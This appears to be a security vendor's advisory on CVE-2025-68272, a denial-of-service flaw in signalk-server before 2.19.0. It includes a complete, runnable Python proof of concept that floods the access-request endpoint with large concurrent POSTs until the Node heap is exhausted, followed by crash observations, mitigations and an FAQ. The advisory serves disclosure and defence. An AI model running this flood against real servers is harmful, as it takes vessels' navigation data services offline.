CVE-2025-68272

Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding

import urllib.request
import json
import threading
import time

# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1  # 100 KB per request
NUM_REQUESTS = 20000   # Sufficient to exhaust heap
CONCURRENCY = 50

# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))

def send_heavy_request(i):
    try:
        payload = {
            "clientId": f"attacker-device-{i}",
            "description": LARGE_STRING, # Stored in memory!
            "permissions": "readwrite"
        }
        data = json.dumps(payload).encode('utf-8')
        
        req = urllib.request.Request(
            TARGET_URL, 
            data=data, 
            headers={'Content-Type': 'application/json'}, 
            method='POST'
        )
        # Short timeout as server might hang
        urllib.request.urlopen(req, timeout=5)
    except:
        pass

def attack():
    print(f"[*] Starting DoS Attack on {TARGET_URL}...")
    threads = []
    for i in range(NUM_REQUESTS):
        t = threading.Thread(target=send_heavy_request, args=(i,))
        threads.append(t)
        t.start()
        
        if len(threads) >= CONCURRENCY:
            for t in threads: t.join()
            threads = []

if __name__ == "__main__":
    attack()

Verified Denial of Service:
During our verification using the provided PoC, we observed the following:

1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack.
2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash.
3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2025-68272 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.19.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. Implement Rate Limiting
Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.

2. Limit Request Storage
Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.

3. Validate Payload Size
Enforce strict limits on the size of the description and other fields in the access request payload.

1. What is CVE-2025-68272? CVE-2025-68272 is a high-severity uncontrolled resource consumption vulnerability in signalk-server (npm), affecting versions < 2.19.0. It is fixed in 2.19.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2025-68272? CVE-2025-68272 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of signalk-server are affected by CVE-2025-68272? signalk-server (npm) versions < 2.19.0 is affected.
4. Is there a fix for CVE-2025-68272? Yes. CVE-2025-68272 is fixed in 2.19.0. Upgrade to this version or later.
5. Is CVE-2025-68272 exploitable, and should I be worried? Whether CVE-2025-68272 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-68272 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-68272? Upgrade signalk-server to 2.19.0 or later.

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